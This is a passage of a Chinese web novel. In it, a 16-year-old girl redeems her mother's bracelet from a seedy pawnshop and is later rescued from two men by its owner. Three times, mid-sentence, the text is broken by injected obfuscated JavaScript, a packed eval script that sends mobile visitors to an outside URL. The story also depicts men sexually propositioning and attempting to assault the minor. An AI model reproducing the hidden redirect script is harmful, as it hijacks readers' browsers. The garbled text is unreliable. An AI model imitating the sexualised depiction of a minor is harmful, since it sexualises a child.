《风吹千纸鹤》 1. Chapter 01 文/电影丰富 榄洲八月末,天气仍旧炎热,咸湿海风裹挟着整座小镇,吹得人心浮躁。 程幼幼站在街边,深深地吸了口气,两只拳头绷紧,泛着青白。 不远处,水泥地面裸露的老旧水管被一双脚踩得吱呀吱呀响,始作俑者盯着程幼幼,色迷迷地笑,转头又跟身后抽烟的男人对视一眼,笑。 那种笑容是不怀好意的,带着强烈目的性,看得她心里直发毛。 不光是他们,这一路,程幼幼碰到了好多用这种眼神打量她的人。 这伙混混染着各种颜色的头发,有纹身,蹲在街边玩手机或打台球,看起来游手好闲。 如果不是提前在手机上查过地址,她十分怀疑自己是不是走错地方了。 手掌轻轻笼住衣兜,她忍着退缩的念头,拐过街口,在第一家店铺门口停下。 头顶上明晃晃的三个烫金大字“寄卖行”映入眼帘,两侧玻璃门上贴着“高价回收”、“黄铂金,手表,奢饰品、机动车”、“诚信买卖”等字样。 店里没人,却传来很响的麻将声。 程幼幼走进店里,四处张望了下。 很快,从屏风后蹿出一个男人,去拉钱柜的同时瞟了一眼程幼幼,错愕道:“干嘛的?找人?” “不、不是......”程幼幼鼓足勇气,“我来赎东西。” “什么东西?” 男人似乎急着进去,声音又急又大,程幼幼被吓得肩膀一缩。 “就是昨天我哥...哦不,一个男生过来典当了——” 话说到一半,被里头传来的喊声打断。 “阿彬啊!搞什么这么慢!” “来了来了,叫什么叫,连吃几把雀胡,老天暗示你该壮.阳啊!” 说完,男人甩下一句:“你在这等着啊!” “......” 她只能等着。 男人输了整个通宵,不爽的同时还不忘提醒没打牌的人出去接客。 “这个时候什么人?”被唤的男人躺在沙发上翘二郎腿,“草,刚八点。” “你出去就知道啦,学生妹,说话声音柔柔弱弱的,模样又乖,销魂不死你啊!” 室内一众人笑出声。 男人听到“学生妹”登时从沙发上弹起来,“你没眼花吧?” 闻言,正对屏风的男人轻嗤一声,指尖划过码牌。 “啧...这么缺女人吗?” “你知道个屁,他裤兜没钱啊,只能搞搞学生妹咯,学生妹多好啊,聊聊天就跟你走,又乖又嫩,想做什么做什么……” 男人赢了钱春风得意,越笑越淫.荡。 薄如蝉翼的屏风外,程幼幼听完了全部对话,浑身冰冷僵硬,双腿像灌了铅。 她应该跑的,就算是遵从本能。可脑中有道声音在不断提醒自己,一定要赎回来。 “哟,小妹妹。”男人一出来便问,“赎什么呀?” 程幼幼像念课文一样,再次把心里组织好的话说出来:“昨天下午有个男生过来典当了一个金手镯,我想赎回来,请问要多少钱?” 男人拖长音地“哦”了声,接着翻开一个厚厚的笔记本,指着最新一页的交易记录,“喏,是不是这个啊。” 小镇落后守旧,时至今日还在用这种老土的交易方式。 程幼幼踮起脚尖,凑近看。 她看见账本上歪歪扭扭的三个大字“程信朋”,以及鲜红夺目的手印,心中一紧。 男人紧接着拿出一个金手镯摆在柜台上,程幼幼双眼一亮。 “对的,是这个手镯!” 男人依旧面露笑容,不慌不忙地在计算机上按,“这镯子当了四千五,不满一个月就算你一个月利息咯,你要赎的话给这么多。” 他将计算机转了个方向给程幼幼看。 “......八千?”程幼幼喃喃道:“我没这么多钱。” 利息有...这么贵吗? 都快两倍了。 男人脸上挂着猥.琐的笑,目光始终在少女裙摆下白皙修长的腿.间晃悠,丝毫不关心她有没有钱赎。 程幼幼受不了他的眼神,可更想拿回妈妈的手镯。 “请问、可不可以少一点?”她咬紧下唇,“我身上只带了五千...” 这五千还是她辛苦攒了好久的钱,留着高中当生活费的。 昨天晚上,她得知堂哥程信朋偷偷典当了她的手镯,问了地址,今天一早便立马带着所有钱过来赎。 听到这个,男人很是不耐烦,“没钱那你来干嘛?耍老子玩?” “不是的...我...可不可以通融一下,这个镯子对我来说很重要很重要。”她忍住想哭的冲动。 “小妹妹,都要像你这样的话,那我生意还做不做了?”男人.淫.荡一笑,话锋一转,“不过嘛...你可以做点事抵账。” 程幼幼猜到他话里有话,没应,仰着小脸等他继续说。 “平时交男朋友没有?”男人搓着手,一脸坏笑。 他竖起两个手指,“陪我两晚,我帮你把剩下的钱付了,怎么样?” 几乎是一瞬间,程幼幼慌了神,嘴唇抿得发紧,眼眶也红了。 她脸上写满拒绝,却也倔强得不愿离开。 男人维持着笑容,弯腰俯着柜台:“很划算的,又能帮你赎回东西,还能爽一把——” 正僵持不下,屏风内又走出一个人,身形比刚才那两人都高出许多,五官硬朗,轮廓分明,凌碎的额发下是一双淡漠冷僻的眸。 本来还流里流气的男人瞬间站直,对来人喊了声寒哥,然后简单讲了下程幼幼的情况。 “没钱。”靳寒扯了扯嘴角,看向程幼幼,“想怎么赎?” 这人似乎是这里的老板,看那人的眼神,很忌惮他。 他衣着干净整洁,出众的外形让他与周围一切格格不入。 最莫名的是,他并未让自己感到极度不适。 程幼幼再次抱起希望,战战兢兢道:“我平时有做兼职,剩下的钱,我最快大概两个月——” “不行,最迟三天结清。” “......”程幼幼一噎。 旁边站着的男人嗤笑出声,像是在嘲她不懂规矩。 靳寒冲男人使了个眼色,男人怔了下,看了程幼幼一眼,有些不甘心地离开了。 “急着要?” 少女诚恳地点点头。 “KTV陪.酒,三天能赚七八千,做不做?”靳寒拨弄着掌心的银制火机,拨盖声清脆,透露出男人所剩不多的耐心,“我只抽五成,剩下的归你。” 他以种再平常不过的语气说道,表情没有丝毫波澜。 程幼幼浑身都在发抖。 从她出生到现在,从未遇到过这种人和事。 她埋下头,滚圆炙热的泪珠涌出,挂在睫毛上摇摇欲坠,在落下前用手背重重擦去。 他不屑地嗤笑,眉眼讥讽又冷漠的合拢,“这么怕?又不是叫你卖,最多被揩油。” “还是说...你更想陪刚才那个人睡?” 红晕迅速从脸颊爬上耳根,她紧紧攥住衣角。 “这两种选择我都不接受,”程幼幼平复着情绪,抬起头定定地看着靳寒,“八千是吧,我攒够了钱再来赎。” 说罢她便转身离开。 “等你有钱了,东西不知道还在不在。” 她脚步一滞。 “帮你留着也行,但是要加收利息。”靳寒慢慢悠悠道。 “利息,要收多少?” “看留多久,如果两个月的话...”靳寒阖上眼,两秒后说出一个数,“差不多一万。” 听到这个数额,一股涩意再度涌上喉口。 怎么办,她赎不回镯子。 要告诉伯伯吗,算了...他们不但不会给她钱,燕姨还会狠狠骂她一顿。 深深的无力感涌上心头,须臾,一滴泪落在帆布鞋上,伴随着小声的抽泣。 靳寒眉梢一挑。 几秒后,程幼幼抬起头,忽然没来由地冒了句:“你们这里...是不是在乱收费?” 她其实更想问,你们这儿是不是不合法。 少女的小脸还挂着泪痕,一对杏眸红肿,却一本正经地说着令靳寒想笑的话。 “知不知道自己在说什么?” “......” 靳寒神情玩味又不屑,不疾不徐地摸出手机,“要不要帮你打市.监局投诉电话?” “打吧。”她咬紧牙关,不敢看他的表情。 一秒。 两秒。 三秒。 迟迟没动静。 程幼幼再次看向靳寒,发现他脸上嘲弄的笑意消散了。 “在哪上学?”他问。 “.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150290|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ....榄洲一中。” “年龄。” “16。” 应付不来这种小姑娘,靳寒觉得烦,轻啧一声,“站过来点,我能把你吃了?” 程幼幼懵了,站在原地没动。 靳寒从账本上撕下一个小角,拿出笔写了一串号码,跟那支手镯一起塞到她手里。 女孩的手细腻顺滑,相反他的手粗糙宽厚,触碰的一瞬像过了电般。 靳寒僵了一瞬,随即恢复如初。 “这我微信,八千,我帮你垫了,等你有钱了加微信还我,懂没?”靳寒说罢,摸了根烟出来点上。 程幼幼大脑登时空白。 “啊?” 眼看靳寒即将离开,程幼幼出声叫住他,“等等,我身上有五千块。” 靳寒靠着屏风顿住,往回看。 麻将声仍在继续,伴随着时不时的脏话,嬉笑,没有片刻宁静。 店里放的音乐被喧闹声盖住,但在此刻又那么清晰悦耳。 “我先给你五千,最迟两个月,我保证把剩下的钱还你。”她认真地说道,末了,又补上一句,“谢谢你。” 靳寒掀起眼皮,闲散地扫她一眼,讥诮一笑。 “随你。” 老式音箱内悠扬女声仍在唱。 “再见伤感因我不易被泪流困住我,什么的境界都爱自自然地渡过......” 榄洲这个邻海小镇,过了十点才像是真正苏醒过来。 街道外天光大亮,周围老旧的筒子楼被照得锈黄斑驳,却蕴含着一丝勃勃生机。 白色裙摆于街角一闪而过,小店再次陷入无休止的麻将声中。 五千块,安稳地躺在柜台上的鱼缸旁。 * 回到家中,强撑一路的双腿霎地就软了。 一大清早发生的事,如同做梦般。 那些人,那些难以启齿的字眼,一幕幕在脑海上演。 程幼幼缓缓阖上双眼。 这个点,伯伯去上班了,燕姨在早餐店忙,难得有片刻的清静。 昨晚几乎彻夜失眠,她蜷缩在墙角休息,没一会,被推门声惊醒。 “卧槽!你原来在这儿啊。”程信朋蹲下身,没好气地推她肩膀,“大清早不在店里帮忙,我妈让我找你!” 程幼幼温温吞吞地抬头。 几乎是一秒,程信朋看到了她脸上的泪痕,余下的话圜在喉咙。 “诶,你不会是哭了吧?” 程幼幼没吭声,他也沉默着,直到发现她怀中的手镯。 “卧槽!你赎回镯子了?你哪来的钱?”程信朋震惊万分,从地上跳起来。 “嚯...想不到啊你,居然还有私房钱,平时问你的时候干嘛不借点给我,省得我还去典当镯子啦...你给多少赎回来的?” 程信朋不可置信地看了眼程幼幼,又拎着她的书包到处翻。 “你还有没有钱,借点给你哥我呗,我还差几个皮肤就集齐全皮了。” “喂,干嘛不说话?” “生气了?” “程信朋。”少女清冷的嗓音在不足五平的小阁楼响起,带着浓厚的鼻音。 “你以后...别再碰我的东西,再有下次,我会跟伯伯说。” 她慢慢站起身,走出房间。 “......” 刚到楼下早餐店,就被燕姨中气十足的嗓门一顿吼。 “早上你跑哪儿去了!忙的时候不来,现在不忙了就来了!我真是养了头白眼狼,净会偷懒。” “燕姨,我早上有事出去了。”程幼幼敛着眼眸,不让她察觉到自己哭过。 事实上,就算知道,燕姨也会当作没看见的。 燕姨冷哼,双手在围裙上随意擦两下,指着灶台,“把这些锅碗洗了,店里打扫干净,麻利点,过两天还得给你交学费,真以为钱那么好挣呐?” 程幼幼淡淡应声,围上围裙,开始洗碗。 这家二十平的早餐店,从七岁起就困住了她。 只要不上学,这些活都是她的。 焦黄的墙壁,老旧油腻的桌椅,锈迹斑斑的煮锅,还有垃圾桶旁的烂白菜叶,日复一日。 有些尚且新鲜的菜叶也混杂其中,但最终逃不过枯萎的命运。 怀里揣着妈妈的手镯,就像某种信念,告诫着、鼓励着她,要长大、要远走、要离开这座小镇。 2. Chapter 02 程信朋偷偷典卖妈妈遗物的事就这么告一段落了。 在大伯和燕姨不知道的情况下。 典当的钱肯定已经被他花得一干二净,程幼幼不指望他能还给自己。 至于欠寄卖行的钱...那位老板没说让她多久之前还,她只能尽快赚钱,早点还给人家。 程幼幼将店老板的微信号夹在手机壳里,放在抽屉锁好,穿戴整齐后去上学了。 今天是开学第一天,学校还没发校服,她穿了件及膝白色连衣裙。 乌黑长发乖巧服贴地垂落腰间,刘海有些长了,被她用兔子发夹别在耳后。 粉色书包是上初中时买的,已经被洗得发白,闻起来有股淡淡的洗衣粉清香。 幼幼弯了弯唇。 刚下楼,就看见程信朋嘴里叼着根油条,手里捧一杯热豆浆。 “今天你居然比我晚下楼,快点吃早饭。” 燕姨煮好馄炖给客人端去,叉着腰大咧咧道:“还吃什么吃,也不看看几点了?” 程幼幼攥着书包肩带,走到程信朋面前,“走吧哥,快迟到了。” 大伯程业民正准备去汽修厂上班,这会儿撑着楼梯扶手换鞋,“不吃早饭不行,阿朋啊,你给妹妹带上拿去学校吃。” 程幼幼刚想说不用了,程信朋动作更快,已经揣了根油条放包里了,“快走啦走啦,乖学生。” 说完,几个大跨步走到门外踩上自行车。 “......” 程幼幼抿了抿唇,紧跟上去。 “你们两个认真读书,在学校要听老师的话!”程业民在后头喊。 程信朋嫌弃地摆手,“啊老爸,我们都多大了,还跟读小学那样招呼我们,土死了!” 店里几个客人笑出声,程业民脸通红,边笑边吼:“小兔崽子,说话没大没小。” 在自行车后座坐稳后,程幼幼才扭过头跟大伯说拜拜。 望着俩人远去的背影,燕姨不满地抱怨:“女孩子家家,还是个病秧子...不知道读那么多书干嘛,这都管吃管住了,还管读书啊?” 程业民仍然维持笑意,好脾气道:“这个年纪的孩子不读书干什么?” “那要管多久?不会还管读大学吧?” 之前她就不准备让程幼幼念高中,店里正好缺个帮手,早早出来帮忙不好吗,这死鬼自己挣不到几个钱还非得供那死丫头读书。 “幼幼学习好,是读书的苗子,她愿意读到哪儿就读到哪儿。” 话音刚落,“砰”的一声,大漏勺被重重摔在灶台上。 燕姨恶狠狠地瞪一眼程业民,转身朝里走。 * 榄洲镇小的可怜,镇上就一所普高。 清晨六点半,晨光熹微。 狭小的水泥路两旁,挤着乌泱泱一群前往学校的高中生,热闹非凡。 到班里时,位置几乎都坐满了。 一看见程幼幼,初中时一个班的丁钰湘便疯狂招手,“幼幼!” 隔着半个教室,幼幼脸上闪过一丝欣喜,朝她走去。 坐好后把书包放在靠背上。 “诶,你跟你哥分到一个班了啊。” “嗯。”幼幼点点头,顺着她的视线看去,程信朋正坐在角落跟几个男生聊得火热。 “你完蛋了。”丁钰湘托着下巴收回视线,“未来他肯定会经常麻烦你。” 程幼幼弯了弯唇,没说什么。 就在这时,程信朋突然靠过来,顺带着一股烟味。 紧接着,课桌上出现一个油糊糊的透明塑料袋,里头装着早已凉掉的油条。 全程他的注意力都在那几个男生身上,嘴里聊的也是游戏。 程幼幼一时没反应过来。 她性子一直都慢吞吞的,脾气好,忘性大,认识这么久,丁钰湘没见她真正生气过。 “你哥也真是的,看他那样子我都来气。” 程幼幼默不作声地吃油条,速度较快,待会老师进来看到就不好了。 “放暑假他没欺负你吧。” “呃...没怎么欺负我。” 丁钰湘捏捏她脸颊的软肉,笑道:“傻姑娘,以后在班里他再敢欺负你,我一定帮你狠狠教训他。” 程幼幼不好意思地笑笑,脸颊晕上一抹绯红。 “哦对了。”丁钰湘略微正色道,“你来的时候看见隔壁的职高了吗?” 程幼幼眨了眨眼,“没注意。” 丁钰湘语调一转,凑近她耳边低语:“今早听我们班男生说的,那个职高好多混混,以前发生过几起恶.性.打.架斗.殴事件,死过人......都上市里新闻了。里面还有个老大,叫什么靳寒的——” 嗓音又低了两个分贝,“这人据说沾点.黑...总之,以后离他要多远有多远。” 听着这些话,幼幼后知后觉地对上丁钰湘的眼睛。 她说的这些东西,仿佛都离她很遥远很遥远...就跟赎回妈妈手镯的那个早晨发生的事一样遥远。 不知怎的,她的脑海里闪过一张桀骜冷厉的脸。 幼幼温吞道:“我不认识他,你别想多了,湘湘。” 丁钰湘冲她展颜一笑,“也是哈。” 幼幼这么乖巧懂事,学习又好,怎么可能跟那种混混有牵扯。 班主任在这时抱着一沓试卷进来,说要进行入学测试。 “给大家留十分钟时间上厕所啊,要去的赶紧去,待会儿我们准时开始考试,第一堂考数学。” 说完,班里嘘声连天。 程幼幼和丁钰湘结伴去了趟厕所,回来的时候走的后门,正好跟程信朋撞上。 程信朋一副抓到救命稻草的模样:“幼幼幼幼,待会儿考试,且助你哥一把呗。” 程幼幼为难道:“哥,开学第一天就作弊,不太好吧...” “我妈问起来我就完了。” “只是入学测试,这次成绩应该不影响什么。” “可是——” 丁钰湘打断他:“诶,你这种人还在乎自己考几分呢?这次能作弊那你高考也能作弊吗?平时总欺负你妹妹,一有事就找她帮忙,我说你能不能要点脸?” “......”程信朋懵了,“我靠,丁钰湘,我没招惹你吧??” * 今天一整天都是考试,连着考三门。 正如丁钰湘说的那样,程信朋确实不在意自己的成绩。 第一堂考试还有些三分钟热度,考完数学后就直接摆烂了,趴在桌子上呼呼大睡。 晚自习接近尾声,教室开始隐隐躁动,随着下课铃一响,门口瞬间涌出许多人。 “拜拜,明天见。” “拜拜。” 幼幼跟周围同学道别,程信朋在教室门口催促她快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150291|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。 放学时分的榄洲一中大门外很热闹,人挤人,一排排小吃摊热气沸腾。 程信朋揽着程幼幼的肩膀,防止她被人潮冲走,领到树下一处空地,对她说:“你在这等我一下。” “你去哪里?” “我去买个东西,顺便去骑自行车,你别乱跑啊。” “诶哥——” 根本不等她说完,程信朋的身影已经走远,幼幼微微叹口气。 七八分钟过去,迟迟没等到他回来。 幼幼从小身体不好,稍微久站就会低血糖,她便往后退了几步,靠在树下蹲着。 再一抬头,看见对面也蹲着两三个混混模样的男人。 其中一个是那天在寄卖行接待她的人。 “平时交男朋友没有?” “陪我两晚,我帮你把剩下的钱付了,怎么样?” ...... 全身的血液瞬间逆流上涌。 她注意到他们正盯着自己看,神情与那日如出一辙,不时与同伴交换眼色,接着露出一抹意味深长的笑。 仿佛下一秒就要走过来。 某个瞬间,她跟男人四目相对,心跳也跟着漏了一拍。 程幼幼嘴唇发白,小脸写满慌张,连忙起身,企图寻找程信朋的身影。 她有种强烈预感。 那人真的会过来。 就在她以为自己几乎快完蛋时,程信朋没心没肺的笑容突然闯进视野。 “哥!” 她下意识脱口而出,逃命似的朝他奔去。 “吃错药了,看见我给你带吃的就这么激动?” 程信朋拎着一袋蚵仔煎在她面前晃了晃,“喏,待会坐车上吃。” “好...我们快回家吧哥。” 程幼幼不关心什么小吃,甚至脑袋都不敢乱晃,只想赶快逃离这个地方。 “拿着。” 她接过蚵仔煎。 程信朋神经大条,压根没发觉到她脸色异常惨白,待程幼幼坐稳后便踩着单车回家了。 庆幸的是,那几个人并没有跟来,一路上并无异常。 直到看见早餐店的招牌,她的心才算稍微镇静下来。 下车后,她的脸色仍有些呆滞。 “咦,你没吃啊?” 程信朋注意到装着蚵仔煎的塑料袋还被她攥着,透明塑料袋上有层薄薄的雾。 “我想上楼休息了,你吃吧。” 幼幼把蚵仔煎递给程信朋,将书包抱在怀里,木讷地走上楼。 “诶不是...你今天怎么怪怪的。” 程信朋疑惑地摸了摸后脑勺。 ...... 她的房间在阁楼,天花板很低,房间很小,破旧但整洁。仅仅只能放一张单人床,一张桌子。 洗完澡,刚躺下没多久,便响起拍门声,还有燕姨的声音,“开门!” “燕姨,有什么事情吗?” “幼幼啊,我跟你燕姨有点事想问问你,你睡了没有?方不方便开一下门。” 是大伯的声音。 程幼幼立马从床上坐起来,拖着惊吓过度的身子去开门。 门外,燕姨板着脸,似乎还有点愤满,程业民依旧和蔼客气。 正当程业民准备再开口时,燕姨抢先开门见山问: “你有没有去我房间拿我东西?” 3. Chapter 03 幼幼一愣:“燕姨...什么东西?我没有。” “你别给我装模作样啊,我房间衣柜中间的小抽屉里放着的,一串金项链、金耳环,还有一对戒指,我平时都舍不得带,今天突发奇想拿出来看看就发现不见了...你老实讲,是不是就是你偷的?” 燕姨越说越来气,俨然一副已认定是她偷的态度。 程业民黑着脸:“怎么这么说话?问都没问清楚就说是幼幼拿的。” “你成天就知道护这死丫头!我看你对她比对阿朋还亲,她是你亲生女儿吗?” “你快给我闭嘴!”程业民横眉怒目,怒冲冲道:“说了多少次,家里不准提这个。” 又来了,大伯跟燕姨又在因为她吵架。 从懂事起幼幼就知道,燕姨厌恶自己。 自从爸爸妈妈去世,年幼的她就被丢给大伯抚养。 大伯家庭条件拮据,养一个小孩已经很困难,燕姨心存怨言很正常。 这些,她都懂,她也理解燕姨,所以她从不给任何人添麻烦,除必要开支从不伸手要钱。 尽管这样,程幼幼原以为,在同一屋檐下生活数十年的时间已足够认清一个人了。 她浅浅吸口气,看向程业民:“大伯,你们为什么会怀疑是我偷的?” “幼幼,你千万别误会,大伯没说是你拿的,大伯就是想问问你。”程业民面露犹豫,目光跟燕姨对上,连忙道:“你别插嘴,我来跟孩子说。” 燕姨冷哼一声。 “是这样...你前天早上,去哪里了?”他试探问。 程幼幼如实道:“我去升平北路那家寄卖行了。” 燕姨表情冷淡,丝毫不意外:“你一个小孩子去那里干什么?要不是菜市场那老光棍告诉我,那天在寄卖行外面看见你了,你是不是打算一直瞒着?” 程业民也不禁追问:“是啊幼幼,你怎么会去那种地方,我告诉过你,那边坏人很多。” 说到这里,程幼幼已经猜到燕姨心里在想什么了。 她有些无措,有些茫然,垂着头,浓密纤长的睫毛遮盖眉眼。 “所以...你们是怀疑我,偷了首饰去典卖是吗?”她将颤抖的手藏在衣服后头,嗓音零碎:“如果我说,我那天是去赎我妈妈的手镯呢?” 程业民和燕姨不约而同地愣住了。 幼幼她妈留了只手镯给她,他们是知道的。 早些年前,燕姨甚至以“小孩子戴什么黄金”为由想据为己有,是程业民强烈阻止。 “...什么意思?” 思虑片刻,程幼幼微微叹口气,平静道:“是头天晚上,哥拿了我的手镯去典卖,知道后,我第二天一早就去赎了。” 空气凝固两秒。 “赎金是我放假打工赚的...如果还不相信,要不要把哥叫来,当面对质一下?” 逼仄的阁楼,压抑得近乎喘不过气,空气持续僵硬,直至程业民又叫了一声幼幼。 他的语气带着愧疚和懊悔。 而幼幼的眼眶已经被泪洇湿,视线一片模糊。 她身形消瘦,宽大的睡裙罩在身上,好似风一吹就倒。 程信朋从小到大是什么人,夫妻俩都心知肚明,相比他的话,他们都更愿意相信程幼幼的话。 燕姨脸上有些挂不住,趿着拖鞋下楼了。 “对不起...幼幼。” ...... “大伯向你道歉。” * 榄洲镇的夜晚,海风很大,街道树影婆娑,萧瑟落寞。 待大伯走后,程幼幼便再也睡不着,摸黑出来闲逛。 走在路上,她忽然想到,那日在店里听到的那首粤语歌。 “什么都可以坦荡未在乎谁是错,我两眼合上失去什么,是与非也掠过。” 那家店给她的印象实在差劲,她感到不自在,可店里放的音乐却出乎意料地对她胃口。 心里蔓延出某种别样情绪。 夏夜空气很清凉,晚风拂过,撩起她的睡裙,印出一对修长纤细的腿。 榄洲城镇老旧,数不清的筒子楼和小巷子挤在一堆。 幼幼阖上眼...最近实在太多事,她的脑袋浑浑沌沌的,对事物敏感度都降低了许多。 漫无目的地乱转。 走着走着,忽然前方出现了一点光亮,耳畔传来嬉笑声和聊天声。 但她的脑袋仍处于放空状态,双脚不受控地往前走。 直到啤酒瓶砸地的破碎声才将她的思绪猛地拉回。 不知不觉,她已走到巷子尽头。 视线也逐渐清晰。 幼幼看见对面开了家露天大排档,外头空地上只有一桌客人。 街道空无一人,很显然,那桌客人已经看见自己了。 脑袋一懵,几乎是下意识的,她转身往回走。 可没过多久,身后也响起了脚步声,不止一道。 “小妹妹,走那么快干什么?” “睡不着吗,要不要过来请你喝一杯。” 她不敢回头看,加快步伐,甚至小跑起来。 兴许是她在跑,一下子刺激到这俩人,几个大跨步便追上去,精准地扯住程幼幼的手。 肌肤触碰的一瞬,程幼幼害怕的尖叫,“啊——!” 身后大排档里那群人大笑起来。 “走开,别碰我...” “看你的模样很小啊。”男人喝了酒,笑得淫.荡,“细皮嫩肉的。” “这女的怎么这么眼熟啊?” “滚你妈的,你他妈吸.傻了是不是,搭个讪比老子还土。” “不是。”阿彬目不转睛地盯着程幼幼,“诶...这不是那天早上来店里的那个女的吗。” 俩人相视一笑。 阿彬紧接着去搂少女的腰,色迷迷笑道:“一回生二回熟,那咱们也算熟人了。走呗,请你喝酒。” “呜呜呜呜呜呜...放开我,求求你们。” 程幼幼双手紧紧护住胸,可根本抵不过俩个男人的力气。 她整个人几乎被架着走,双腿磨擦着水泥地,拖出一条长长的血痕。 “别哭啊,让哥哥们好好疼疼你,省点力气留在床——” 一刹那,男人突然以匍匐的姿势摔在地上,发出一声痛苦的闷哼。 “卧槽,谁他妈踹老子,不想活了是不是!” “谁不想活?” 低沉冷冽的嗓音在黑暗中响起。 听到声音,俩人瞬间变了脸色。 靳寒夹着半截烟,不紧不慢地走近,“这我妹,你们他妈精虫上脑也长长眼睛。” 被踹的男人吓得不敢说话。 阿彬愣了半晌,颤巍巍道:“寒、寒哥,没听说你还有个妹妹啊...” 靳寒低声嗤笑:“情妹妹嘛。” 幼幼跪坐在地上,捂着擦出血的小腿,小脸发白扭成一团。 朝她瞟去一眼,靳寒不耐道:“还不快滚?” 阿彬连说几声对不起,俩人几乎连滚带爬地跑了。 不多时,不远处大排档里一个人也没有了。 周遭恢复安静,幼幼想扶着墙壁站起来,没等站稳膝盖一弯。 男人嘲讽地笑出声。 “......” 看见他刚刚踹人的模样,幼幼还有点怵他,犹犹豫豫道:“谢谢...” “能不能站起来?”靳寒见不得她磨磨叽叽的样子。 “可以。”幼幼咬咬牙,撑着墙壁一瘸一拐地走了两步。 “...我先回家了,谢谢你。” 男人猛地吸口烟,接着将烟蒂摁在地上一处水渍湮灭,懒散地靠着墙面,双眼讥讽又刻薄地合拢,“你他妈能回家?” 此刻他就是莫名来火。 突然开始厌恶骨子里爱管闲事的血液。 程幼幼刚想开口,下一秒,便猝不及防地被拦腰抱起。 下意识惊呼出声,耳根和脸瞬间就红了。 “你放我下来...” 她的抗议显得无力。 “少他妈废话,我还嫌麻烦。”靳寒目视前方,脸色有些阴沉。 不敢惹怒他,程幼幼识趣地闭上嘴。 这段路程走了近十分钟,谁都没开口说话。 她的脸离男人的颈脖很近很近,彼此呼吸喷薄的热气都能清晰感知,紧紧揪着男人衣领,她的脸红得快滴出血。 沿路仅有一家24小时营业的药店,男人径直走过去,将少女放在店外的石椅上,随即进去买药。 很快,靳寒拿着一袋子药出来,在旁边坐下。 程幼幼见状忙道:“不用不用...我自己来就好。” 靳寒嘴角一撇,“我有说要帮你?” “......” “自己麻利擦完,赶紧。” 他将碘伏和棉签丢给程幼幼,自己则掏了支烟出来。男人眉心微蹙,大掌笼着微弱火光,下一秒,白茫茫的烟雾自眉眼散开。 靳寒侧着身,程幼幼只看得见他清晰分明的下颌,漆黑零碎的额发戳着眼皮,情绪阴沉。 有点尴尬,也很怕。 这种尴尬不仅仅是因为不熟,还因为那句“情妹妹”。 不知道说什么好。 程幼幼慌忙扭开碘伏瓶盖,另一只手拿着棉签,沾湿后在小腿伤口处涂。 她没什么经验,动作生疏,余光又瞥见男人阴沉的脸,生怕他不耐烦,下意识加快速度。 冰凉碘伏触碰肌肤的那刻,她还是没忍住“嘶”了一声。 靳寒不为所动,默默地抽烟。 温吞好一会,她还是觉得自己应该说些什么,便清了清嗓子,尴尬道:“这些药多少钱,我回头一起转给你。” 说完就脸红了。 自己身无分文,还倒欠人家三千块,是怎么有脸说出这种豪气话的。 靳寒轻嗤一声,将烟摁灭丢进垃圾桶里,“你拿什么还,白天上课晚上打工?” “我只有寒暑假才能打工,”她声音低下去,“给我点时间,我肯定还。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150292|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他定定看了她两秒,薄唇微启,又觉得说什么都是废话,索性直接夺走棉棒和碘伏。 面对突然靠近的男人,她屏住呼吸,感觉身子都僵直了。 靳寒熟练地给程幼幼上着药,动作轻柔,可能是因为太过紧张,她没怎么感到疼,反而有点痒,浑身不自在的痒。 面前的人与她素不相识,却一而再地帮自己。 他看起来十分冷漠,不近人情,却又那样矛盾。 脸颊逐渐染上绯红,在冷调白织灯的映衬下娇弱婉娈。 靳寒自顾自问道:“明天不是要上学?这么晚出来溜达什么。” “...我跟家里闹了矛盾,睡不着就出来走走。” “一次又一次,你是真不怕碰见坏人。”他眯了眯眼。 程幼幼:“你说的坏人,也包括你吗?” 巷口涌入的风吹得俩人衣摆微飘,撩起手臂上的细微绒毛,空气安静地能听见彼此间的呼吸声。 对于这个问题,靳寒突然有种恍如隔世的感觉。 他没回答,随即将棉签扔进垃圾桶,“好了。” 程幼幼咬着下唇,“谢谢。” “为什么跟家里闹矛盾?”半晌,靳寒问。 “他们怀疑我偷了家里东西。” 靳寒对上少女的眼睛。 “但我没拿。” “嗯。”男人垂下眼睑,敛去情绪,“很贵重?” 程幼幼斟酌道:“是挺贵重的。” “附近有监控么?有的话可以报个警。” 程幼幼茫然问道:“报警...有用吗?” 靳寒微微挑唇,“有。” 说完,男人瞥了眼手机屏幕,冷声问:“住哪?” 程幼幼说出一个地址。 将手机揣回兜里,靳寒起身,弯下腰,大掌圈住少女的大腿和腰,程幼幼肩膀一抖。 “别乱动。” “...那个,其实我可以自己走的。” 靳寒淡淡一晒,“等你走回家,是要走一个小时还是两个小时?” 